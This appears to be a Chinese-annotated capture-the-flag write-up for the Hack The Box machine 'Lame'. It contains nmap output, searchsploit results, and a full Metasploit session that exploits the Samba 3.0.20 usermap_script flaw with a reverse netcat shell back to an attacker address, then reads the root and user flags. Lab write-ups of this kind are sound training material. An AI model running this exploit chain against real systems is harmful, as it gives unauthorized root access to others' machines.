nmap
扫一下端口
┌──(kali㉿kali)-[~/htb/lame]
└─$ cat nmap.txt
# Nmap 7.93 scan initiated Sat Apr 22 00:01:10 2023 as: nmap -n -v -sC -sV -oN nmap.txt -Pn 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.55s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h00m22s, deviation: 2h49m45s, median: 20s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-04-22T00:05:32-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 22 00:05:54 2023 -- 1 IP address (1 host up) scanned in 284.48 seconds
msf
查询相关漏洞，发现第三行的'Username map script' Command Execution (Metasploit)可用，而且是metasploit里面的攻击模块
┌──(kali㉿kali)-[~/htb/lame]
└─$ searchsploit samba 3.0
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Overflow (Metasploit) | osx/remote/16875.rb
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit) | linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Overflow (Metasploit) | linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap Overflow (Metasploit) | solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote Buffer Overflow | linux/dos/4732.c
Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC) | multiple/dos/5712.pl
Samba 3.0.4 - SWAT Authorisation Buffer Overflow | linux/remote/364.pl
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
直接用metasploit搜索Samba 3.0.20
msf6 > search samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No
选择此模块并配置好反弹shell的相关参数，用run命令发起攻击，直接获取了root权限下的shell，直接打开root下的flag
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.32.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
rhost => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set rport 445
rport => 445
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(multi/samba/usermap_script) > set lport 2333
lport => 2333
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.4:2333
[*] Command shell session 1 opened (10.10.14.4:2333 -> 10.10.10.3:40919) at 2023-04-22 00:22:42 -0400
whoami
root
which python
/usr/bin/python
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/# cat /root/root.txt
cat /root/root.txt
162190c25286540dea9c0047e......
user下的flag
root@lame:/home# find / -name user.txt 2>/dev/null
find / -name user.txt 2>/dev/null
/home/makis/user.txt
root@lame:/home# cat /makis/user.txt
cat /makis/user.txt
cat: /makis/user.txt: No such file or directory
root@lame:/home# cat makis/user.txt
cat makis/user.txt
a5ceb51f1741b774fbee61a559......